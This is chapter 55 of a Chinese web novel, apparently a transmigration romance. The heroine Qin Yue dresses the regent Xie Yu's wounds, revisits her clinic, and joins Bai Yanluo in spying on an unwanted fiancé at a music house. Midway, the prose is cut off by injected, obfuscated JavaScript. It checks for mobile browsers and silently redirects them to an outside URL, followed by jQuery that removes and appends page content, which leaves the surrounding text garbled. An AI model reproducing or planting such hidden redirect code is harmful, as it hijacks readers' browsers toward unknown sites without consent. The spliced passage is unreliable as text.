55. 第五十五章

作品:《攻略对象听见心声

    谢隅抓过她的手放在唇边吻,连带着她食指上的伤药膏都胡乱地抹到了他手上。他吻得很轻,偏偏那双望不见底的眼睛此刻无端诱人,目光灼热地凝视她。


    秦悦抽回微颤的手,脸上发烫:“别乱动,擦药呢。”


    他倒是听话的起身正襟危坐在榻边。秦悦弯着腰给他脸上擦了半晌,觉着腰酸的不行,便就着榻沿坐下来。


    脸上伤口不深,此刻血已经凝固,她用棉布轻轻拭去血痂,又涂上一层防止留疤的药。


    谢隅眼中映着她专心的脸,视线从杏眼划过,落在不点而红的软唇上。


    鬼使神差地,他凑上前去。


    秦悦一把捧住他靠近的脸,佯怒道:“你干什么呢?还擦不擦了?”


    那人无奈地笑:“食髓知味,欲罢不能,该当如何呢?”


    她感觉脸多半又要熟透,赶紧松开手撇过头去备新药,顺带强压下心中那些胡思乱想,不然被他听见多半又要得意洋洋。


    药粉倒在棉球上,再一回头,原先衣衫完整的人不知何时褪去了上半身的衣服,白玉般的肌肤被宫灯渡上一层朦胧。


    他上半身敞露着,露出精实的肌肉和触目惊心的伤痕。新伤叠着旧伤,有些已经结痂,有些还在渗血。


    之前在阙山邑她已经看过一次,不知是不是距离更近、两人独处的缘故,这次她心脏止不住地砰砰乱跳,脑袋里如同遭受闷锤一下下的随着心跳鼓动。


    心动,更多的是心疼。


    她见过不少伤患,却从未见过如此密集的伤痕。他的身体像一张被反复划破又愈合的宣纸,记录着无数场生死搏杀。


    药粉覆在他胸口,秦悦微愠道:“你是不知道躲吗?”


    “疼才能保持清醒,不会变成只会杀人的疯子。不过,偶尔也清醒不了。”


    她手上顿了顿,道:“保持冷静就偏要用这种办法吗?”


    谢隅嘴角扯出一个意味深长的笑:“以前只有这一种方法,现在不止。”


    “拥抱也可以。”他悠悠说道。


    这个方法,是他屠裴宪家宅那次发现的。秦悦说她会害怕,那他就学会控制;她劝他冷静,那他便止住杀意。


    秦悦怔然片刻,随即上好最后一处伤药,将他垂在腰际的黑衣拢好。


    眼前人眼眸低垂,似乎陷入沉思,是少见的乖顺模样,她轻叹一声,捧着他脸在额上印下轻轻一吻。


    “好了,歇息吧。”


    她起身准备离去,腰身却陡然一紧,一阵天旋地转,整个人被放倒在宽敞的沉木榻上。


    谢隅贴在她后背,结实有力的小臂拦住她腰,懒洋洋道:“歇息吧。”


    她手肘推了两下发现那人岿然不动,无语又好笑地道:“别闹了。”


    这一句没有生气,但谢隅还是很知趣地放开手。


    秦悦坐起身,理了理被他揉乱的罗裙,方走出两步,便听身后传来猛烈咳嗽的声响。她心下一惊,赶忙回过身将人扶起。


    猛咳半晌后,谢隅放下捂着嘴的手,苍白的手心一片明艳夺目的鲜红。


    “怎么回事?”秦悦大惊失色,拉起他的手将咳出的血擦拭干净,“难道是九转散?”


    谢隅虚弱地摇了摇头,“许是新伤旧伤累积过多,临至极点突然迸发。”


    她本想唤醒系统再扫描,谢隅接着道:“无妨,今夜应该不会再咳血了,你走吧。”


    这还怎么走?


    秦悦掀过云锦衾被盖住直接躺下,顺便分走他一半软枕,“我就睡这了,反正咱俩又不是没睡过。”


    天道好轮回,如今他的被窝也被人钻了。


    谢隅压住唇角上扬的笑意,头靠在另一半软枕上注视轻阖双目的少女,轻声道:“也好。”


    秦悦睁开一只眼偷觑,随后翻过身用冷漠的背影对着他,心里默念了三遍坏鱼。


    真是一条老奸巨猾还会装可怜卖惨的坏鱼!


    ……


    天光大亮,日光穿透半开的门扉斜斜洒落在榻。


    秦悦被刺得皱了皱眉,抬袖遮掩着睁开眼,身边已然空无一人。


    很快便有几名侍女敲响大门,得她应许后又低着头步履匆匆地带她去沐浴更衣。


    走过不知多少条长廊,她被带至王府东侧一处阁楼,楼前是一片景色宜人的花园,牌匾上提着枕流轩三字。


    “秦小姐,王爷吩咐说您以后便在此处暂居,奴婢已将汤池备好,这便告退了。”为首的青绿衣裳的侍女朝她欠身。


    秦悦在热气氤氲的浴池里泡了小半个时辰,感觉全身经络都被舒展开来,舒适至极。


    起身后又在偏房发现五颜六色、纹饰各异的罗裙,桌上摆放着琳琅满目的首饰,在日光映照下熠熠生辉。


    正好她想换个心情,于是一反常态地选了件秋瑰色、绣以月季金纹的轻纱裙,照着喜好搭了一圈靛蓝璎珞,便心旷神怡出门去。


    陆眠正在王府门前布置内务,秦悦道:“你家王爷呢?”


    “王爷一早去朝会了,今日还要与礼部尚书大人议事,估计夜间才归。”他说着话,朝不远处两名英姿飒爽的女子招了招手。


    “秦小姐若要出府,便让她二人随行吧。”


    两名女子马尾高束,一身靛蓝狻猊纹武官袍,看起来实力不凡。


    秦悦颔首应下,决定去明月医馆看看,也不知这些时日办得如何了。


    她乘马车七拐八弯绕过街巷,车轮蓦然停滞,她掀开车帘,只见医馆还是原来那个医馆,地方依旧是那么丁点儿,但门前却人声鼎沸,好不热闹。


    秦悦揉了揉眼,抬头看匾额,确认是她原来那间门可罗雀的明月医馆。


    怀着疑问的心情走进,周伯是个眼尖的,一眼便在人群中瞧见了她,高呼道:“秦小姐回来了!”


    这一声嗓门有着不同于他年纪的豪气,郎中们纷纷围上前来,“数月不见,秦小姐可是在江南开分馆了?”


    秦悦:“……并无此事啊。”她环顾坐满了人的诊堂,欣慰道:“诸位辛苦了。”


    “不辛苦不辛苦!小姐不在京都,咱们替小姐分忧是分内之事。”


    “是呀!之前摄政王送的那十车药材到现在还没用完呢!”


    “就是前些日子有几味药材少的特别快,明明没人用,也不知是不是被耗子偷走了。”


    “耗子”秦悦:“……”糟糕,通过系统隔空取物忘记注意分寸了。


    她赶忙打个哈哈过去,先是夸赞周伯打理得井井有条,再是给大伙涨了月钱。不得不说涨工资这件事不论古今都能让人高兴,果然很快他们就不再谈论耗子偷药的事了。


    正热闹着,门外走进来一名容貌淡雅的少女,身后跟着一名丫鬟。


    两人相视一眼,秦悦有些讶异,上前道:“白小姐不是在辰州随表兄监工吗?怎么回京都来了?”


    她还没忘乘船渡河时白烟萝说自己为了躲避尚书大人给她说亲,特意远下辰州的事。没想到这会儿竟然出现在京都。


    显然她这句话戳中了白烟萝痛点,她咬牙道:“被我爹差人抓回来了。”


    “哦?尚书大人不是向来睁一只眼闭一只眼吗?”


    白烟萝猛一跺脚,神色间的清冷逐渐被怒意代替,“不知他犯什么诨!竟让本小姐回京与韩家那纨绔子弟成婚!”


    见她气不打一处来,秦悦忙不迭将人安抚坐下,顺带沏了一壶清火茶,劝她慢慢道来。


    原来,工部尚书在她离京后与她说了一门亲事,要把她许配给韩相嫡子韩时殊,而这位韩公子是远近闻名的放浪不羁。回京前曾在韩家祖籍地任盐课提举司提举一职,后在韩相安排下调回京都升为光禄寺少卿,掌宫廷膳食,清闲不说,油水还颇为丰厚,而且不易出错。


    也不知是不是韩相政务繁忙疏于管教,这位韩公子平日闲时不是流连花丛,就是和狐朋狗友们寻欢作乐,尽管韩相为文官之首,京都贵女们依旧瞧不上那位不学无术的韩公子。


    “他先前说表姐入京想见我一面,结果却是要将我骗回京都!”


    秦悦默默扶额,不知该说些什么宽慰。毕竟她的遭遇和她可谓是如出一辙,同样也是被一个虚构的理由骗回来成婚。


    白烟萝向她吐露了一番心声,顿觉心情舒畅,看她脸色略差,想起丫鬟之前和她说的消息,讪讪道:“我忘了,你同我一样。”


    她继续道:“徐若庭应比那韩时殊好得不止一星半点,至少他不爱去勾栏瓦肆。不过,我总觉得他无论见谁都是一副温润如玉浅笑盈盈的模样,不管相处多久都这样,反而有些无趣。”


    秦悦咳出一口茶:“咳咳,白小姐好眼力。”


    白烟萝猛一拍桌案:“可恨我的新□□还未完善好!这次改良可耗费了我不少心血。”


    秦悦讶然:“白小姐竟还有如此手艺?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472705|165319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>看来造船已经满足不了她的奋进欲,这会儿转改良兵器了。


    她喝下一盏茶,如泄气般长吐出一口气,见秦悦依然是一副悠悠然听她说话,神态自若的模样,清澈的眼一转,道:“走,我带你去瞧瞧那位韩公子。比起我言语所说,亲眼所见你更能知晓他是如何烂泥扶不上墙。”


    白烟萝当真是直来直去的性子,二话不说就将她拉上自己马车。


    随着车轮滚滚转动,秦悦稳了稳身形,好奇道:“白小姐如今是把我当朋友了?”


    果然是年纪小,厌恶来的快,散的也快。难以想象刚认识时她还想派人把她抓去府里,现在两人却能共乘一辆马车,像极了被家里安排相亲的闺蜜俩聚在一块开吐槽大会。


    白烟萝斜睨她一眼:“本小姐没有友人,也不需要。”


    得,又是个死鸭子嘴硬的。


    但不得不说,白烟萝其实很拎得清。为尚书大人身份而与之相交的公子贵女并不少,之前秦悦也见识过,大多数人都是将她捧在手心里吹捧得天花乱坠,生怕惹她不高兴。她心里很清楚,这些人并非真心待她。


    朋友或许有虚情假意,但仇人之间的恨意却是真切的,虽然她和秦悦还算不上宿敌,小有过节罢了。


    “不过,你若想与我相交,本小姐可以勉为其难给你这个面子。”


    秦悦差点笑得前仰后合,最终还是在她气鼓鼓的眼神下敛住笑意,“好的。”


    说话间,两人已至京都客流最广、形制最大的鸢玉楼。


    拨开层层叠叠的叮当珠帘和绯红纱幔,大堂中央梨花木台上,六七位抱着月琴的花娘正唱着曲儿,眼波斜斜往台下扫去。跑堂的小厮们端着摆满时令鲜果和美酒在人群中游走,见两人入堂,一名布衣小厮笑脸迎上:“二位小姐也是来听曲的?”


    白烟萝点了点头,随手便赏了他一粒碎银,小厮赶忙给两人引去二楼雅间。


    秦悦环视楼内,此处不同于花月坊那般客倚软榻、画面淫.靡,鸢玉楼因设于京都,平日里又接待许多王公贵族,大家都是有脸面的,故而听曲赏舞的公子小姐们言行举止间极守分寸,楼内花娘和男伶也仅卖艺。


    只有一个例外。


    路过二楼其中一间雅间时,她听见了一道怒吼,约莫是嫌独奏的花娘容貌不佳云云。


    白烟萝皱眉道:“就是他。”


    两人被安排进隔壁雅间,小厮道:“二位小姐请稍等片刻。”


    不多时,雅间珠帘幕后小门缓缓打开,两名雪青箭袖的男伶抱着古琴和长萧步入,朝二人行过礼后便在帘幕之后弹奏起来,曲调悠然轻快,拨弦素手修长,称得上是一副美画卷。


    但两人都没什么心思听曲,白烟萝拉着她靠墙贴了贴,撇嘴道:“你听听!吼声隔着墙都盖不住。还逼着花娘陪他喝酒,真是令人作呕!”


    秦悦很配合地点了点头,确实粗鄙。


    “不行!我现在就去找他退婚!”白烟萝气极,说着便拉开雅间大门迈着大步出去。


    “冷静啊白小姐!”秦悦扯住她衣袖,正想说现在找他对退婚并无任何用处,余光却瞥见大门涌进来四五人。定睛看去,正是徐若庭和秦子游,身后还跟着三两名亲卫。


    不必想也知,秦子游定是问了周伯她的去处,才精准找到这来。


    白烟萝也发现来人,望了眼紧张的秦悦,心下了然随她回到雅间。她迅速关闭门扉,问:“你藏哪?”


    秦悦左右环顾,没什么可藏之处,所幸二楼雅间不算高。她当即推开窗棂,道:“跳吧。”


    白烟萝平日结交的都是些端庄娴雅的闺阁小姐,哪见过秦悦这种说跳就跳的场面,当即就拽住她衣袖,喊道:“这怎么能行!你可是官家小姐,怎能如此狼狈地跳楼?!”


    珠帘外容貌文雅的男伶们也瞧见这幕,以为是曲子难听到把客人都逼至跳楼地步了,怔了片刻,也奔上前来扯住她手臂,苦苦哀求:“小姐别跳啊!您万一有个三长两短微伶可担不起啊!”


    秦悦一条腿已经跨上窗棂了,如今腰身被白烟萝环着,左右臂各被男伶拉住,这番拉拉扯扯的景象实在有辱斯文。


    好巧不巧,此时鸢玉楼下亲卫领头开道,两架肃穆庄重的马车缓缓路过。


    靠楼一侧的车帘微掀,秦悦登时目瞪口呆,与马车内沉着脸看她的谢隅四目相对。


    系统:[哦豁。]


    秦悦:完了。